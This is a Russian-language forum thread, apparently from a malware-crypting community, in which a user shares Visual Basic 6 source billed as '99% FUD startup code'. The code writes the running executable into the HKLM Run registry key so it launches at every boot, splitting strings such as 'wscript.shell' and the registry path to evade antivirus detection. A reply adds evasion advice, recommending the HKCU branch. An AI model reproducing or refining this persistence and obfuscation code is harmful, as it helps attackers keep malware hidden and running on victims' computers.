1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

VB6 %99 FUD Startup code

Тема в разделе "Исходные коды", создана пользователем DarkKnight, 17 ноя 2016.

  1. TopicStarter Overlay
    DarkKnight

    DarkKnight

    Регистрация:
    1 июн 2016
    Сообщения:
    153
    Симпатии:
    179
    Код:
    Private Sub Form_Load()
    
    
        If Timer1 = True Then
            Call bon
        End If
      
    End Sub
    
     
    Sub bon()
        Dim Startup_key As String
        Dim d As String
        Dim dd As String
        dd = App.Path
        d = App.EXEName
        Dim a As String
        a = "ex" & "e"
    
    
        Startup_key = "HKEY_LOCAL_MACH" & "INE\Sof" & "tware\Microso" & "ft\Wi" & "ndows\Cur" & "rentV" & "ersion\Ru" & "n\"
        Dim Reg As Object
        Set Reg = CreateObject("ws" & "cri" & "pt.sh" & "el" & "l")
        Reg.RegWrite Startup_key & d, dd & "\" & d & "." & a
    End Sub
    
    Private Sub Timer1_Timer()
        On Error Resume Next
      
    End Sub
    1479341725-14793417188532.png
     
    • Like Like x 2
    Метки:
  2. ZzZz

    ZzZz hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.349
    Симпатии:
    951
    От этого смысла особо нет. Всеравно любая обоссаная проактивка локнет этот код. К тому же лучше использовать CURRENT_USER ветку.
     
    • Agree Agree x 1

Поделиться этой страницей

Загрузка...